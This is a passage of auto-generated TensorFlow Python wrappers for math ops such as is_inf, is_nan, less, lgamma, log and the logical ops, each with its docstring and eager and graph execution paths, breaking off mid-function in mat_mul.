@tf_export('math.is_inf', v1=['math.is_inf', 'debugging.is_inf', 'is_inf'])
@deprecated_endpoints('debugging.is_inf', 'is_inf')
def is_inf(x, name=None):
r"""Returns which elements of x are Inf.
@compatibility(numpy)
Equivalent to np.isinf
@end_compatibility
Example:
```python
x = tf.constant([5.0, np.inf, 6.8, np.inf])
tf.math.is_inf(x) ==> [False, True, False, True]
```
Args:
x: A `Tensor`. Must be one of the following types: `bfloat16`, `half`, `float32`, `float64`.
name: A name for the operation (optional).
Returns:
A `Tensor` of type `bool`.
"""
_ctx = _context._context or _context.context()
tld = _ctx._thread_local_data
if tld.is_eager:
try:
_result = pywrap_tfe.TFE_Py_FastPathExecute(
_ctx, "IsInf", name, x)
return _result
except _core._NotOkStatusException as e:
_ops.raise_from_not_ok_status(e, name)
except _core._FallbackException:
pass
try:
return is_inf_eager_fallback(
x, name=name, ctx=_ctx)
except _core._SymbolicException:
pass # Add nodes to the TensorFlow graph.
except (TypeError, ValueError):
result = _dispatch.dispatch(
is_inf, (), dict(x=x, name=name)
)
if result is not _dispatch.OpDispatcher.NOT_SUPPORTED:
return result
raise
# Add nodes to the TensorFlow graph.
try:
_, _, _op, _outputs = _op_def_library._apply_op_helper(
"IsInf", x=x, name=name)
except (TypeError, ValueError):
result = _dispatch.dispatch(
is_inf, (), dict(x=x, name=name)
)
if result is not _dispatch.OpDispatcher.NOT_SUPPORTED:
return result
raise
_result = _outputs[:]
if _execute.must_record_gradient():
_attrs = ("T", _op._get_attr_type("T"))
_inputs_flat = _op.inputs
_execute.record_gradient(
"IsInf", _inputs_flat, _attrs, _result)
_result, = _result
return _result
IsInf = tf_export("raw_ops.IsInf")(_ops.to_raw_op(is_inf))
def is_inf_eager_fallback(x, name, ctx):
_attr_T, (x,) = _execute.args_to_matching_eager([x], ctx, [_dtypes.bfloat16, _dtypes.half, _dtypes.float32, _dtypes.float64, ])
_inputs_flat = [x]
_attrs = ("T", _attr_T)
_result = _execute.execute(b"IsInf", 1, inputs=_inputs_flat, attrs=_attrs,
ctx=ctx, name=name)
if _execute.must_record_gradient():
_execute.record_gradient(
"IsInf", _inputs_flat, _attrs, _result)
_result, = _result
return _result
@_dispatch.add_dispatch_list
@tf_export('math.is_nan', v1=['math.is_nan', 'debugging.is_nan', 'is_nan'])
@deprecated_endpoints('debugging.is_nan', 'is_nan')
def is_nan(x, name=None):
r"""Returns which elements of x are NaN.
@compatibility(numpy)
Equivalent to np.isnan
@end_compatibility
Example:
```python
x = tf.constant([5.0, np.nan, 6.8, np.nan, np.inf])
tf.math.is_nan(x) ==> [False, True, False, True, False]
```
Args:
x: A `Tensor`. Must be one of the following types: `bfloat16`, `half`, `float32`, `float64`.
name: A name for the operation (optional).
Returns:
A `Tensor` of type `bool`.
"""
_ctx = _context._context or _context.context()
tld = _ctx._thread_local_data
if tld.is_eager:
try:
_result = pywrap_tfe.TFE_Py_FastPathExecute(
_ctx, "IsNan", name, x)
return _result
except _core._NotOkStatusException as e:
_ops.raise_from_not_ok_status(e, name)
except _core._FallbackException:
pass
try:
return is_nan_eager_fallback(
x, name=name, ctx=_ctx)
except _core._SymbolicException:
pass # Add nodes to the TensorFlow graph.
except (TypeError, ValueError):
result = _dispatch.dispatch(
is_nan, (), dict(x=x, name=name)
)
if result is not _dispatch.OpDispatcher.NOT_SUPPORTED:
return result
raise
# Add nodes to the TensorFlow graph.
try:
_, _, _op, _outputs = _op_def_library._apply_op_helper(
"IsNan", x=x, name=name)
except (TypeError, ValueError):
result = _dispatch.dispatch(
is_nan, (), dict(x=x, name=name)
)
if result is not _dispatch.OpDispatcher.NOT_SUPPORTED:
return result
raise
_result = _outputs[:]
if _execute.must_record_gradient():
_attrs = ("T", _op._get_attr_type("T"))
_inputs_flat = _op.inputs
_execute.record_gradient(
"IsNan", _inputs_flat, _attrs, _result)
_result, = _result
return _result
IsNan = tf_export("raw_ops.IsNan")(_ops.to_raw_op(is_nan))
def is_nan_eager_fallback(x, name, ctx):
_attr_T, (x,) = _execute.args_to_matching_eager([x], ctx, [_dtypes.bfloat16, _dtypes.half, _dtypes.float32, _dtypes.float64, ])
_inputs_flat = [x]
_attrs = ("T", _attr_T)
_result = _execute.execute(b"IsNan", 1, inputs=_inputs_flat, attrs=_attrs,
ctx=ctx, name=name)
if _execute.must_record_gradient():
_execute.record_gradient(
"IsNan", _inputs_flat, _attrs, _result)
_result, = _result
return _result
@_dispatch.add_dispatch_list
@tf_export('math.less', 'less')
def less(x, y, name=None):
r"""Returns the truth value of (x < y) element-wise.
*NOTE*: `math.less` supports broadcasting. More about broadcasting
[here](http://docs.scipy.org/doc/numpy/user/basics.broadcasting.html)
Example:
```python
x = tf.constant([5, 4, 6])
y = tf.constant([5])
tf.math.less(x, y) ==> [False, True, False]
x = tf.constant([5, 4, 6])
y = tf.constant([5, 6, 7])
tf.math.less(x, y) ==> [False, True, True]
```
Args:
x: A `Tensor`. Must be one of the following types: `float32`, `float64`, `int32`, `uint8`, `int16`, `int8`, `int64`, `bfloat16`, `uint16`, `half`, `uint32`, `uint64`.
y: A `Tensor`. Must have the same type as `x`.
name: A name for the operation (optional).
Returns:
A `Tensor` of type `bool`.
"""
_ctx = _context._context or _context.context()
tld = _ctx._thread_local_data
if tld.is_eager:
try:
_result = pywrap_tfe.TFE_Py_FastPathExecute(
_ctx, "Less", name, x, y)
return _result
except _core._NotOkStatusException as e:
_ops.raise_from_not_ok_status(e, name)
except _core._FallbackException:
pass
try:
return less_eager_fallback(
x, y, name=name, ctx=_ctx)
except _core._SymbolicException:
pass # Add nodes to the TensorFlow graph.
except (TypeError, ValueError):
result = _dispatch.dispatch(
less, (), dict(x=x, y=y, name=name)
)
if result is not _dispatch.OpDispatcher.NOT_SUPPORTED:
return result
raise
# Add nodes to the TensorFlow graph.
try:
_, _, _op, _outputs = _op_def_library._apply_op_helper(
"Less", x=x, y=y, name=name)
except (TypeError, ValueError):
result = _dispatch.dispatch(
less, (), dict(x=x, y=y, name=name)
)
if result is not _dispatch.OpDispatcher.NOT_SUPPORTED:
return result
raise
_result = _outputs[:]
if _execute.must_record_gradient():
_attrs = ("T", _op._get_attr_type("T"))
_inputs_flat = _op.inputs
_execute.record_gradient(
"Less", _inputs_flat, _attrs, _result)
_result, = _result
return _result
Less = tf_export("raw_ops.Less")(_ops.to_raw_op(less))
def less_eager_fallback(x, y, name, ctx):
_attr_T, _inputs_T = _execute.args_to_matching_eager([x, y], ctx, [_dtypes.float32, _dtypes.float64, _dtypes.int32, _dtypes.uint8, _dtypes.int16, _dtypes.int8, _dtypes.int64, _dtypes.bfloat16, _dtypes.uint16, _dtypes.half, _dtypes.uint32, _dtypes.uint64, ])
(x, y) = _inputs_T
_inputs_flat = [x, y]
_attrs = ("T", _attr_T)
_result = _execute.execute(b"Less", 1, inputs=_inputs_flat, attrs=_attrs,
ctx=ctx, name=name)
if _execute.must_record_gradient():
_execute.record_gradient(
"Less", _inputs_flat, _attrs, _result)
_result, = _result
return _result
@_dispatch.add_dispatch_list
@tf_export('math.less_equal', 'less_equal')
def less_equal(x, y, name=None):
r"""Returns the truth value of (x <= y) element-wise.
*NOTE*: `math.less_equal` supports broadcasting. More about broadcasting
[here](http://docs.scipy.org/doc/numpy/user/basics.broadcasting.html)
Example:
```python
x = tf.constant([5, 4, 6])
y = tf.constant([5])
tf.math.less_equal(x, y) ==> [True, True, False]
x = tf.constant([5, 4, 6])
y = tf.constant([5, 6, 6])
tf.math.less_equal(x, y) ==> [True, True, True]
```
Args:
x: A `Tensor`. Must be one of the following types: `float32`, `float64`, `int32`, `uint8`, `int16`, `int8`, `int64`, `bfloat16`, `uint16`, `half`, `uint32`, `uint64`.
y: A `Tensor`. Must have the same type as `x`.
name: A name for the operation (optional).
Returns:
A `Tensor` of type `bool`.
"""
_ctx = _context._context or _context.context()
tld = _ctx._thread_local_data
if tld.is_eager:
try:
_result = pywrap_tfe.TFE_Py_FastPathExecute(
_ctx, "LessEqual", name, x, y)
return _result
except _core._NotOkStatusException as e:
_ops.raise_from_not_ok_status(e, name)
except _core._FallbackException:
pass
try:
return less_equal_eager_fallback(
x, y, name=name, ctx=_ctx)
except _core._SymbolicException:
pass # Add nodes to the TensorFlow graph.
except (TypeError, ValueError):
result = _dispatch.dispatch(
less_equal, (), dict(x=x, y=y, name=name)
)
if result is not _dispatch.OpDispatcher.NOT_SUPPORTED:
return result
raise
# Add nodes to the TensorFlow graph.
try:
_, _, _op, _outputs = _op_def_library._apply_op_helper(
"LessEqual", x=x, y=y, name=name)
except (TypeError, ValueError):
result = _dispatch.dispatch(
less_equal, (), dict(x=x, y=y, name=name)
)
if result is not _dispatch.OpDispatcher.NOT_SUPPORTED:
return result
raise
_result = _outputs[:]
if _execute.must_record_gradient():
_attrs = ("T", _op._get_attr_type("T"))
_inputs_flat = _op.inputs
_execute.record_gradient(
"LessEqual", _inputs_flat, _attrs, _result)
_result, = _result
return _result
LessEqual = tf_export("raw_ops.LessEqual")(_ops.to_raw_op(less_equal))
def less_equal_eager_fallback(x, y, name, ctx):
_attr_T, _inputs_T = _execute.args_to_matching_eager([x, y], ctx, [_dtypes.float32, _dtypes.float64, _dtypes.int32, _dtypes.uint8, _dtypes.int16, _dtypes.int8, _dtypes.int64, _dtypes.bfloat16, _dtypes.uint16, _dtypes.half, _dtypes.uint32, _dtypes.uint64, ])
(x, y) = _inputs_T
_inputs_flat = [x, y]
_attrs = ("T", _attr_T)
_result = _execute.execute(b"LessEqual", 1, inputs=_inputs_flat,
attrs=_attrs, ctx=ctx, name=name)
if _execute.must_record_gradient():
_execute.record_gradient(
"LessEqual", _inputs_flat, _attrs, _result)
_result, = _result
return _result
@_dispatch.add_dispatch_list
@tf_export('math.lgamma', v1=['math.lgamma', 'lgamma'])
@deprecated_endpoints('lgamma')
def lgamma(x, name=None):
r"""Computes the log of the absolute value of `Gamma(x)` element-wise.
For positive numbers, this function computes log((input - 1)!) for every element in the tensor.
`lgamma(5) = log((5-1)!) = log(4!) = log(24) = 3.1780539`
Example:
```python
x = tf.constant([0, 0.5, 1, 4.5, -4, -5.6])
tf.math.lgamma(x) ==> [inf, 0.5723649, 0., 2.4537368, inf, -4.6477685]
```
Args:
x: A `Tensor`. Must be one of the following types: `bfloat16`, `half`, `float32`, `float64`.
name: A name for the operation (optional).
Returns:
A `Tensor`. Has the same type as `x`.
"""
_ctx = _context._context or _context.context()
tld = _ctx._thread_local_data
if tld.is_eager:
try:
_result = pywrap_tfe.TFE_Py_FastPathExecute(
_ctx, "Lgamma", name, x)
return _result
except _core._NotOkStatusException as e:
_ops.raise_from_not_ok_status(e, name)
except _core._FallbackException:
pass
try:
return lgamma_eager_fallback(
x, name=name, ctx=_ctx)
except _core._SymbolicException:
pass # Add nodes to the TensorFlow graph.
except (TypeError, ValueError):
result = _dispatch.dispatch(
lgamma, (), dict(x=x, name=name)
)
if result is not _dispatch.OpDispatcher.NOT_SUPPORTED:
return result
raise
# Add nodes to the TensorFlow graph.
try:
_, _, _op, _outputs = _op_def_library._apply_op_helper(
"Lgamma", x=x, name=name)
except (TypeError, ValueError):
result = _dispatch.dispatch(
lgamma, (), dict(x=x, name=name)
)
if result is not _dispatch.OpDispatcher.NOT_SUPPORTED:
return result
raise
_result = _outputs[:]
if _execute.must_record_gradient():
_attrs = ("T", _op._get_attr_type("T"))
_inputs_flat = _op.inputs
_execute.record_gradient(
"Lgamma", _inputs_flat, _attrs, _result)
_result, = _result
return _result
Lgamma = tf_export("raw_ops.Lgamma")(_ops.to_raw_op(lgamma))
def lgamma_eager_fallback(x, name, ctx):
_attr_T, (x,) = _execute.args_to_matching_eager([x], ctx, [_dtypes.bfloat16, _dtypes.half, _dtypes.float32, _dtypes.float64, ])
_inputs_flat = [x]
_attrs = ("T", _attr_T)
_result = _execute.execute(b"Lgamma", 1, inputs=_inputs_flat, attrs=_attrs,
ctx=ctx, name=name)
if _execute.must_record_gradient():
_execute.record_gradient(
"Lgamma", _inputs_flat, _attrs, _result)
_result, = _result
return _result
def lin_space(start, stop, num, name=None):
r"""Generates values in an interval.
A sequence of `num` evenly-spaced values are generated beginning at `start`.
If `num > 1`, the values in the sequence increase by `stop - start / num - 1`,
so that the last one is exactly `stop`.
For example:
```
tf.linspace(10.0, 12.0, 3, name="linspace") => [ 10.0 11.0 12.0]
```
Args:
start: A `Tensor`. Must be one of the following types: `bfloat16`, `half`, `float32`, `float64`.
0-D tensor. First entry in the range.
stop: A `Tensor`. Must have the same type as `start`.
0-D tensor. Last entry in the range.
num: A `Tensor`. Must be one of the following types: `int32`, `int64`.
0-D tensor. Number of values to generate.
name: A name for the operation (optional).
Returns:
A `Tensor`. Has the same type as `start`.
"""
_ctx = _context._context or _context.context()
tld = _ctx._thread_local_data
if tld.is_eager:
try:
_result = pywrap_tfe.TFE_Py_FastPathExecute(
_ctx, "LinSpace", name, start, stop, num)
return _result
except _core._NotOkStatusException as e:
_ops.raise_from_not_ok_status(e, name)
except _core._FallbackException:
pass
try:
return lin_space_eager_fallback(
start, stop, num, name=name, ctx=_ctx)
except _core._SymbolicException:
pass # Add nodes to the TensorFlow graph.
# Add nodes to the TensorFlow graph.
_, _, _op, _outputs = _op_def_library._apply_op_helper(
"LinSpace", start=start, stop=stop, num=num, name=name)
_result = _outputs[:]
if _execute.must_record_gradient():
_attrs = ("T", _op._get_attr_type("T"), "Tidx",
_op._get_attr_type("Tidx"))
_inputs_flat = _op.inputs
_execute.record_gradient(
"LinSpace", _inputs_flat, _attrs, _result)
_result, = _result
return _result
LinSpace = tf_export("raw_ops.LinSpace")(_ops.to_raw_op(lin_space))
def lin_space_eager_fallback(start, stop, num, name, ctx):
_attr_T, _inputs_T = _execute.args_to_matching_eager([start, stop], ctx, [_dtypes.bfloat16, _dtypes.half, _dtypes.float32, _dtypes.float64, ])
(start, stop) = _inputs_T
_attr_Tidx, (num,) = _execute.args_to_matching_eager([num], ctx, [_dtypes.int32, _dtypes.int64, ], _dtypes.int32)
_inputs_flat = [start, stop, num]
_attrs = ("T", _attr_T, "Tidx", _attr_Tidx)
_result = _execute.execute(b"LinSpace", 1, inputs=_inputs_flat,
attrs=_attrs, ctx=ctx, name=name)
if _execute.must_record_gradient():
_execute.record_gradient(
"LinSpace", _inputs_flat, _attrs, _result)
_result, = _result
return _result
@_dispatch.add_dispatch_list
@tf_export('math.log', v1=['math.log', 'log'])
@deprecated_endpoints('log')
def log(x, name=None):
r"""Computes natural logarithm of x element-wise.
I.e., \\(y = \log_e x\\).
Example:
>>> x = tf.constant([0, 0.5, 1, 5])
>>> tf.math.log(x)
<tf.Tensor: shape=(4,), dtype=float32, numpy=array([ -inf, -0.6931472, 0. , 1.609438 ], dtype=float32)>
See: https://en.wikipedia.org/wiki/Logarithm
Args:
x: A `Tensor`. Must be one of the following types: `bfloat16`, `half`, `float32`, `float64`, `complex64`, `complex128`.
name: A name for the operation (optional).
Returns:
A `Tensor`. Has the same type as `x`.
"""
_ctx = _context._context or _context.context()
tld = _ctx._thread_local_data
if tld.is_eager:
try:
_result = pywrap_tfe.TFE_Py_FastPathExecute(
_ctx, "Log", name, x)
return _result
except _core._NotOkStatusException as e:
_ops.raise_from_not_ok_status(e, name)
except _core._FallbackException:
pass
try:
return log_eager_fallback(
x, name=name, ctx=_ctx)
except _core._SymbolicException:
pass # Add nodes to the TensorFlow graph.
except (TypeError, ValueError):
result = _dispatch.dispatch(
log, (), dict(x=x, name=name)
)
if result is not _dispatch.OpDispatcher.NOT_SUPPORTED:
return result
raise
# Add nodes to the TensorFlow graph.
try:
_, _, _op, _outputs = _op_def_library._apply_op_helper(
"Log", x=x, name=name)
except (TypeError, ValueError):
result = _dispatch.dispatch(
log, (), dict(x=x, name=name)
)
if result is not _dispatch.OpDispatcher.NOT_SUPPORTED:
return result
raise
_result = _outputs[:]
if _execute.must_record_gradient():
_attrs = ("T", _op._get_attr_type("T"))
_inputs_flat = _op.inputs
_execute.record_gradient(
"Log", _inputs_flat, _attrs, _result)
_result, = _result
return _result
Log = tf_export("raw_ops.Log")(_ops.to_raw_op(log))
def log_eager_fallback(x, name, ctx):
_attr_T, (x,) = _execute.args_to_matching_eager([x], ctx, [_dtypes.bfloat16, _dtypes.half, _dtypes.float32, _dtypes.float64, _dtypes.complex64, _dtypes.complex128, ])
_inputs_flat = [x]
_attrs = ("T", _attr_T)
_result = _execute.execute(b"Log", 1, inputs=_inputs_flat, attrs=_attrs,
ctx=ctx, name=name)
if _execute.must_record_gradient():
_execute.record_gradient(
"Log", _inputs_flat, _attrs, _result)
_result, = _result
return _result
@_dispatch.add_dispatch_list
@tf_export('math.log1p', v1=['math.log1p', 'log1p'])
@deprecated_endpoints('log1p')
def log1p(x, name=None):
r"""Computes natural logarithm of (1 + x) element-wise.
I.e., \\(y = \log_e (1 + x)\\).
Example:
>>> x = tf.constant([0, 0.5, 1, 5])
>>> tf.math.log1p(x)
<tf.Tensor: shape=(4,), dtype=float32, numpy=array([0. , 0.4054651, 0.6931472, 1.7917595], dtype=float32)>
Args:
x: A `Tensor`. Must be one of the following types: `bfloat16`, `half`, `float32`, `float64`, `complex64`, `complex128`.
name: A name for the operation (optional).
Returns:
A `Tensor`. Has the same type as `x`.
"""
_ctx = _context._context or _context.context()
tld = _ctx._thread_local_data
if tld.is_eager:
try:
_result = pywrap_tfe.TFE_Py_FastPathExecute(
_ctx, "Log1p", name, x)
return _result
except _core._NotOkStatusException as e:
_ops.raise_from_not_ok_status(e, name)
except _core._FallbackException:
pass
try:
return log1p_eager_fallback(
x, name=name, ctx=_ctx)
except _core._SymbolicException:
pass # Add nodes to the TensorFlow graph.
except (TypeError, ValueError):
result = _dispatch.dispatch(
log1p, (), dict(x=x, name=name)
)
if result is not _dispatch.OpDispatcher.NOT_SUPPORTED:
return result
raise
# Add nodes to the TensorFlow graph.
try:
_, _, _op, _outputs = _op_def_library._apply_op_helper(
"Log1p", x=x, name=name)
except (TypeError, ValueError):
result = _dispatch.dispatch(
log1p, (), dict(x=x, name=name)
)
if result is not _dispatch.OpDispatcher.NOT_SUPPORTED:
return result
raise
_result = _outputs[:]
if _execute.must_record_gradient():
_attrs = ("T", _op._get_attr_type("T"))
_inputs_flat = _op.inputs
_execute.record_gradient(
"Log1p", _inputs_flat, _attrs, _result)
_result, = _result
return _result
Log1p = tf_export("raw_ops.Log1p")(_ops.to_raw_op(log1p))
def log1p_eager_fallback(x, name, ctx):
_attr_T, (x,) = _execute.args_to_matching_eager([x], ctx, [_dtypes.bfloat16, _dtypes.half, _dtypes.float32, _dtypes.float64, _dtypes.complex64, _dtypes.complex128, ])
_inputs_flat = [x]
_attrs = ("T", _attr_T)
_result = _execute.execute(b"Log1p", 1, inputs=_inputs_flat, attrs=_attrs,
ctx=ctx, name=name)
if _execute.must_record_gradient():
_execute.record_gradient(
"Log1p", _inputs_flat, _attrs, _result)
_result, = _result
return _result
@_dispatch.add_dispatch_list
@tf_export('math.logical_and', 'logical_and')
def logical_and(x, y, name=None):
r"""Returns the truth value of x AND y element-wise.
Logical AND function.
Requires that `x` and `y` have the same shape or have
[broadcast-compatible](http://docs.scipy.org/doc/numpy/user/basics.broadcasting.html)
shapes. For example, `x` and `y` can be:
- Two single elements of type `bool`.
- One `tf.Tensor` of type `bool` and one single `bool`, where the result will
be calculated by applying logical AND with the single element to each
element in the larger Tensor.
- Two `tf.Tensor` objects of type `bool` of the same shape. In this case,
the result will be the element-wise logical AND of the two input tensors.
You can also use the `&` operator instead.
Usage:
>>> a = tf.constant([True])
>>> b = tf.constant([False])
>>> tf.math.logical_and(a, b)
<tf.Tensor: shape=(1,), dtype=bool, numpy=array([False])>
>>> a & b
<tf.Tensor: shape=(1,), dtype=bool, numpy=array([False])>
>>> c = tf.constant([True])
>>> x = tf.constant([False, True, True, False])
>>> tf.math.logical_and(c, x)
<tf.Tensor: shape=(4,), dtype=bool, numpy=array([False, True, True, False])>
>>> c & x
<tf.Tensor: shape=(4,), dtype=bool, numpy=array([False, True, True, False])>
>>> y = tf.constant([False, False, True, True])
>>> z = tf.constant([False, True, False, True])
>>> tf.math.logical_and(y, z)
<tf.Tensor: shape=(4,), dtype=bool, numpy=array([False, False, False, True])>
>>> y & z
<tf.Tensor: shape=(4,), dtype=bool, numpy=array([False, False, False, True])>
This op also supports broadcasting
>>> tf.logical_and([[True, False]], [[True], [False]])
<tf.Tensor: shape=(2, 2), dtype=bool, numpy=
array([[ True, False],
[False, False]])>
The reduction version of this elementwise operation is `tf.math.reduce_all`.
Args:
x: A `tf.Tensor` of type bool.
y: A `tf.Tensor` of type bool.
name: A name for the operation (optional).
Returns:
A `tf.Tensor` of type bool with the shape that `x` and `y` broadcast to.
Args:
x: A `Tensor` of type `bool`.
y: A `Tensor` of type `bool`.
name: A name for the operation (optional).
Returns:
A `Tensor` of type `bool`.
"""
_ctx = _context._context or _context.context()
tld = _ctx._thread_local_data
if tld.is_eager:
try:
_result = pywrap_tfe.TFE_Py_FastPathExecute(
_ctx, "LogicalAnd", name, x, y)
return _result
except _core._NotOkStatusException as e:
_ops.raise_from_not_ok_status(e, name)
except _core._FallbackException:
pass
try:
return logical_and_eager_fallback(
x, y, name=name, ctx=_ctx)
except _core._SymbolicException:
pass # Add nodes to the TensorFlow graph.
except (TypeError, ValueError):
result = _dispatch.dispatch(
logical_and, (), dict(x=x, y=y, name=name)
)
if result is not _dispatch.OpDispatcher.NOT_SUPPORTED:
return result
raise
# Add nodes to the TensorFlow graph.
try:
_, _, _op, _outputs = _op_def_library._apply_op_helper(
"LogicalAnd", x=x, y=y, name=name)
except (TypeError, ValueError):
result = _dispatch.dispatch(
logical_and, (), dict(x=x, y=y, name=name)
)
if result is not _dispatch.OpDispatcher.NOT_SUPPORTED:
return result
raise
_result = _outputs[:]
if _execute.must_record_gradient():
_attrs = ()
_inputs_flat = _op.inputs
_execute.record_gradient(
"LogicalAnd", _inputs_flat, _attrs, _result)
_result, = _result
return _result
LogicalAnd = tf_export("raw_ops.LogicalAnd")(_ops.to_raw_op(logical_and))
def logical_and_eager_fallback(x, y, name, ctx):
x = _ops.convert_to_tensor(x, _dtypes.bool)
y = _ops.convert_to_tensor(y, _dtypes.bool)
_inputs_flat = [x, y]
_attrs = None
_result = _execute.execute(b"LogicalAnd", 1, inputs=_inputs_flat,
attrs=_attrs, ctx=ctx, name=name)
if _execute.must_record_gradient():
_execute.record_gradient(
"LogicalAnd", _inputs_flat, _attrs, _result)
_result, = _result
return _result
@_dispatch.add_dispatch_list
@tf_export('math.logical_not', 'logical_not')
def logical_not(x, name=None):
r"""Returns the truth value of `NOT x` element-wise.
Example:
>>> tf.math.logical_not(tf.constant([True, False]))
<tf.Tensor: shape=(2,), dtype=bool, numpy=array([False, True])>
Args:
x: A `Tensor` of type `bool`. A `Tensor` of type `bool`.
name: A name for the operation (optional).
Returns:
A `Tensor` of type `bool`.
"""
_ctx = _context._context or _context.context()
tld = _ctx._thread_local_data
if tld.is_eager:
try:
_result = pywrap_tfe.TFE_Py_FastPathExecute(
_ctx, "LogicalNot", name, x)
return _result
except _core._NotOkStatusException as e:
_ops.raise_from_not_ok_status(e, name)
except _core._FallbackException:
pass
try:
return logical_not_eager_fallback(
x, name=name, ctx=_ctx)
except _core._SymbolicException:
pass # Add nodes to the TensorFlow graph.
except (TypeError, ValueError):
result = _dispatch.dispatch(
logical_not, (), dict(x=x, name=name)
)
if result is not _dispatch.OpDispatcher.NOT_SUPPORTED:
return result
raise
# Add nodes to the TensorFlow graph.
try:
_, _, _op, _outputs = _op_def_library._apply_op_helper(
"LogicalNot", x=x, name=name)
except (TypeError, ValueError):
result = _dispatch.dispatch(
logical_not, (), dict(x=x, name=name)
)
if result is not _dispatch.OpDispatcher.NOT_SUPPORTED:
return result
raise
_result = _outputs[:]
if _execute.must_record_gradient():
_attrs = ()
_inputs_flat = _op.inputs
_execute.record_gradient(
"LogicalNot", _inputs_flat, _attrs, _result)
_result, = _result
return _result
LogicalNot = tf_export("raw_ops.LogicalNot")(_ops.to_raw_op(logical_not))
def logical_not_eager_fallback(x, name, ctx):
x = _ops.convert_to_tensor(x, _dtypes.bool)
_inputs_flat = [x]
_attrs = None
_result = _execute.execute(b"LogicalNot", 1, inputs=_inputs_flat,
attrs=_attrs, ctx=ctx, name=name)
if _execute.must_record_gradient():
_execute.record_gradient(
"LogicalNot", _inputs_flat, _attrs, _result)
_result, = _result
return _result
@_dispatch.add_dispatch_list
@tf_export('math.logical_or', 'logical_or')
def logical_or(x, y, name=None):
r"""Returns the truth value of x OR y element-wise.
Logical OR function.
Requires that `x` and `y` have the same shape or have
[broadcast-compatible](http://docs.scipy.org/doc/numpy/user/basics.broadcasting.html)
shapes. For example, `x` and `y` can be:
- Two single elements of type `bool`.
- One `tf.Tensor` of type `bool` and one single `bool`, where the result will
be calculated by applying logical OR with the single element to each
element in the larger Tensor.
- Two `tf.Tensor` objects of type `bool` of the same shape. In this case,
the result will be the element-wise logical OR of the two input tensors.
You can also use the `|` operator instead.
Usage:
>>> a = tf.constant([True])
>>> b = tf.constant([False])
>>> tf.math.logical_or(a, b)
<tf.Tensor: shape=(1,), dtype=bool, numpy=array([ True])>
>>> a | b
<tf.Tensor: shape=(1,), dtype=bool, numpy=array([ True])>
>>> c = tf.constant([False])
>>> x = tf.constant([False, True, True, False])
>>> tf.math.logical_or(c, x)
<tf.Tensor: shape=(4,), dtype=bool, numpy=array([False, True, True, False])>
>>> c | x
<tf.Tensor: shape=(4,), dtype=bool, numpy=array([False, True, True, False])>
>>> y = tf.constant([False, False, True, True])
>>> z = tf.constant([False, True, False, True])
>>> tf.math.logical_or(y, z)
<tf.Tensor: shape=(4,), dtype=bool, numpy=array([False, True, True, True])>
>>> y | z
<tf.Tensor: shape=(4,), dtype=bool, numpy=array([False, True, True, True])>
This op also supports broadcasting
>>> tf.logical_or([[True, False]], [[True], [False]])
<tf.Tensor: shape=(2, 2), dtype=bool, numpy=
array([[ True, True],
[ True, False]])>
The reduction version of this elementwise operation is `tf.math.reduce_any`.
Args:
x: A `tf.Tensor` of type bool.
y: A `tf.Tensor` of type bool.
name: A name for the operation (optional).
Returns:
A `tf.Tensor` of type bool with the shape that `x` and `y` broadcast to.
Args:
x: A `Tensor` of type `bool`.
y: A `Tensor` of type `bool`.
name: A name for the operation (optional).
Returns:
A `Tensor` of type `bool`.
"""
_ctx = _context._context or _context.context()
tld = _ctx._thread_local_data
if tld.is_eager:
try:
_result = pywrap_tfe.TFE_Py_FastPathExecute(
_ctx, "LogicalOr", name, x, y)
return _result
except _core._NotOkStatusException as e:
_ops.raise_from_not_ok_status(e, name)
except _core._FallbackException:
pass
try:
return logical_or_eager_fallback(
x, y, name=name, ctx=_ctx)
except _core._SymbolicException:
pass # Add nodes to the TensorFlow graph.
except (TypeError, ValueError):
result = _dispatch.dispatch(
logical_or, (), dict(x=x, y=y, name=name)
)
if result is not _dispatch.OpDispatcher.NOT_SUPPORTED:
return result
raise
# Add nodes to the TensorFlow graph.
try:
_, _, _op, _outputs = _op_def_library._apply_op_helper(
"LogicalOr", x=x, y=y, name=name)
except (TypeError, ValueError):
result = _dispatch.dispatch(
logical_or, (), dict(x=x, y=y, name=name)
)
if result is not _dispatch.OpDispatcher.NOT_SUPPORTED:
return result
raise
_result = _outputs[:]
if _execute.must_record_gradient():
_attrs = ()
_inputs_flat = _op.inputs
_execute.record_gradient(
"LogicalOr", _inputs_flat, _attrs, _result)
_result, = _result
return _result
LogicalOr = tf_export("raw_ops.LogicalOr")(_ops.to_raw_op(logical_or))
def logical_or_eager_fallback(x, y, name, ctx):
x = _ops.convert_to_tensor(x, _dtypes.bool)
y = _ops.convert_to_tensor(y, _dtypes.bool)
_inputs_flat = [x, y]
_attrs = None
_result = _execute.execute(b"LogicalOr", 1, inputs=_inputs_flat,
attrs=_attrs, ctx=ctx, name=name)
if _execute.must_record_gradient():
_execute.record_gradient(
"LogicalOr", _inputs_flat, _attrs, _result)
_result, = _result
return _result
def mat_mul(a, b, transpose_a=False, transpose_b=False, name=None):
r"""Multiply the matrix "a" by the matrix "b".
The inputs must be two-dimensional matrices and the inner dimension of
"a" (after being transposed if transpose_a is true) must match the
outer dimension of "b" (after being transposed if transposed_b is
true).
*Note*: The default kernel implementation for MatMul on GPUs uses
cublas.
Args:
a: A `Tensor`. Must be one of the following types: `bfloat16`, `half`, `float32`, `float64`, `int32`, `int64`, `complex64`, `complex128`.
b: A `Tensor`. Must have the same type as `a`.
transpose_a: An optional `bool`. Defaults to `False`.
If true, "a" is transposed before multiplication.
transpose_b: An optional `bool`. Defaults to `False`.
If true, "b" is transposed before multiplication.
name: A name for the operation (optional).
Returns:
A `Tensor`. Has the same type as `a`.
"""
_ctx = _context._context or _context.context()
tld = _ctx._thread_local_data
if tld.is_eager:
try:
_result = pywrap_tfe.TFE_Py_FastPathExecute(
_ctx, "MatMul", name, a, b, "transpose_a", transpose_a, "transpose_b",
transpose_b)
return _result
except _core._NotOkStatusException as e:
_ops.raise_from_not_ok_status(e, name)
except _core._FallbackException:
pass
try:
return mat_mul_eager_fallback(
a, b, transpose_a=transpose_a, transpose_b=transpose_b, name=name,
ctx=_ctx)
except _core._SymbolicException:
pass # Add nodes to the TensorFlow graph.
# Add nodes to the TensorFlow graph.
if transpose_a is None:
transpose_a = False
transpose_a = _execute.make_bool(transpose_a, "transpose_a")
if transpose_b is None:
transpose_b = False
transpose_b = _execute.make_bool(transpose_b, "transpose_b")
_, _, _op, _outputs = _op_def_library._apply_op_helper(
"MatMul", a=a, b=b, transpose_a=transpose_a, transpose_b=transpose_b,
name=name)
_result = _outputs[:]
if _execute.must_record_gradient():
